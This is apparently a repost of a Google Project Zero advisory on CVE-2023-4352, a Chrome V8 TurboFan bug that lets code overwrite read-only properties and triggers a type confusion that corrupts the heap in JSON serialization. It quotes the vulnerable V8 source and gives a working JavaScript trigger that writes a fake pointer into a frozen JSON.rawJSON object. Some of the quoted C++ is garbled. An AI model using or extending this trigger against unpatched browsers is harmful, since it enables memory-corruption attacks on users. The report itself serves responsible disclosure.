Exploit/Advisories no image

Published on September 15th, 2023 📆 | 8360 Views ⚑


Chrome Read-Only Property Overwrite – Torchsec


Chrome: Read-only property overwrite in TurboFan

While collecting information for a property store, TurboFan bails out if the property isn't writable[2]. Unfortunately, the branch condition[1] does not include one of the store modes, namely `kDefine`. This allows an attacker to overwrite arbitrary non-configurable, read-only properties. It takes a few extra steps to convince TurboFan to compile a vulnerable function -- see the reproduction case section.

This issue can be abused to trigger a type confusion in `JsonStringifier::Serialize_`. The function assumes that a `JSRawJson` object can only have a string as its `rawJSON` property value, because `JSRawJson::Create` freezes the object[3] before returning it to the user. Therefore, `Serialize_` doesn't perform a type check before casting the result of `GetProperty` to the string type[4]. `AppendString` might then attempt to concatenate the bogus string[5], corrupting the heap.

PropertyAccessInfo AccessInfoFactory::ComputePropertyAccessInfo(
MapRef map, NameRef name, AccessMode access_mode) const {
while (true) {
PropertyDetails details = PropertyDetails::Empty();
InternalIndex index = InternalIndex::NotFound();
if (!TryLoadPropertyDetails(map, holder, name, &index, &details)) {
return Invalid();

if (index.is_found()) {
if (access_mode == AccessMode::kStore || // *** 1 ***
access_mode == AccessMode::kStoreInLiteral) {

// Don't bother optimizing stores to read-only properties.
if (details.IsReadOnly()) return Invalid(); // *** 2 ***

MaybeHandle JSRawJson::Create(Isolate* isolate,
Handletext) {
Handle json_string;
ASSIGN_RETURN_ON_EXCEPTION(isolate, json_string,
Object::ToString(isolate, text), JSRawJson);
flat = String::Flatten(isolate, json_string);
if (String::IsOneByteRepresentationUnderneath(*flat)) {
if (!JsonParser::CheckRawJson(isolate, flat)) {
return MaybeHandle();
} else {
if (!JsonParser::CheckRawJson(isolate, flat)) {
return MaybeHandle();
Handle result =
result->InObjectPropertyAtPut(JSRawJson::kRawJsonInitialIndex, *flat);
JSObject::SetIntegrityLevel(isolate, result, FROZEN, kThrowOnError).Check(); // *** 3 ***
return Handle::cast(result);

JsonStringifier::Result JsonStringifier::Serialize_(Handleobject,
bool comma,
Handlekey) {
InstanceType instance_type =
switch (instance_type) {
if (deferred_string_key) SerializeDeferredKey(comma, key);
Handle raw_json_obj = Handle::cast(object);
Handle raw_json;
if (raw_json_obj->HasInitialLayout(isolate_)) {
// Fast path: the object returned by JSON.rawJSON has its initial map
// intact.
raw_json = Handle
} else {
// Slow path: perform a property get for \"rawJSON\". Because raw JSON
// objects are created frozen, it is still guaranteed that there will
// be a property named \"rawJSON\" that is a String. Their initial maps
// only change due to VM-internal operations like being optimized for
// being used as a prototype.
raw_json = Handle
::cast( // *** 4 ***
JSObject::GetProperty(isolate_, raw_json_obj,
builder_.AppendString(raw_json); // *** 5 ***

Google Chrome 114.0.5735.90 (Official Build)
V8 version 11.6.0

const PROP_NAME = \"rawJSON\",
PROP_VALUE = 0x21212121; // Will be interpreted as a compressed pointer by `Serialize_`.

let define_property_holder = {};
define_property_holder.for_deprecation = 1; // See below.

function ReturnHolder() { return define_property_holder; };
class Trigger extends ReturnHolder { // Extend a function that returns a value so that it possible
// to store on an existing object.

[PROP_NAME] = ( // A keyed class property initializer is translated to a `kDefine` store.

this[PROP_NAME], // The store operation performed on the target object will always throw in
// the interpreter, so the object's map won't be added to the feedback slot.
// Emit a load so that its feedback map can be reused by the store.

for (let i = 0; i < 10; ++i)
new Trigger; // The store operation has to have a non-empty feedback slot. Use a regular object
// with the writable target property for that.

define_property_holder.for_deprecation = 1.1; // Deprecate the map in the feedback vector so that
// it's discarded by TurboFan.

define_property_holder = JSON.rawJSON(\"1\"); // The special target object.

try { new Trigger } catch { } // Add the target object map to the load operation's feedback slot.

new Trigger;


Sergei Glazunov of Google Project Zero

This bug is subject to a 90-day disclosure deadline. If a fix for this issue is made available to users before the end of the 90-day deadline, this bug report will become public 30 days after the fix was made available. Otherwise, this bug report will become public at the deadline. The scheduled deadline is 2023-09-05.

Related CVE Numbers: CVE-2023-4352.

Found by: glazunov@google.com

Source link

Tagged with:

Comments are closed.